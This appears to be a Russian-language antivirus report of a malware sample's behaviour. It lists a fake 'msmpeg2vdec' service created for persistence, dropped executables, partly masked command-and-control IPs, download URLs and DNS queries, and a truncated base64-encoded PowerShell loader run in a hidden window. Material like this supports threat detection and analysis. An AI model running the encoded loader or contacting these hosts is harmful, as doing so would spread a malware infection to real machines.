Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msmpeg2vdec] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msmpeg2vdec] 'ImagePath' = '"%WINDIR%\SysWOW64\utildll\msmpeg2vdec.exe"'
- 'msmpeg2vdec' "%WINDIR%\SysWOW64\utildll\msmpeg2vdec.exe"
- 'msmpeg2vdec' %WINDIR%\SysWOW64\utildll\msmpeg2vdec.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABaAGwANQAxAHMAZABvAD0AKAAoACcAQgAnACsAJwByAHcAJwApACsAJwB0ACcAKwAoACcAagA2ACcAKwAnAHgAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAHIAcAByAG8AZgBpAEwAZQ...
- %HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe
- %WINDIR%\syswow64\utildll\msmpeg2vdec.exe
- %HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe в %WINDIR%\syswow64\utildll\msmpeg2vdec.exe
- '74.##9.172.26':80
- http://ji###guoren.com/wp-includes/1TV/
- http://74.##9.172.26/l3vC4TPTFT7Rvytt3i/oHaz0ZvDJ6b/osNpyfPRuNzyHS6F/
- DNS ASK sp####monizze.com
- DNS ASK ji###guoren.com
- '%HOMEPATH%\wn23xz5\d06o8nh\w2v0lo.exe'
- '%WINDIR%\syswow64\utildll\msmpeg2vdec.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABaAGwANQAxAHMAZABvAD0AKAAoACcAQgAnACsAJwByAHcAJwApACsAJwB0ACcAKwAoACcAagA2ACcAKwAnAHgAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAHIAcAByAG8AZgBpAEwAZQ...' (со скрытым окном)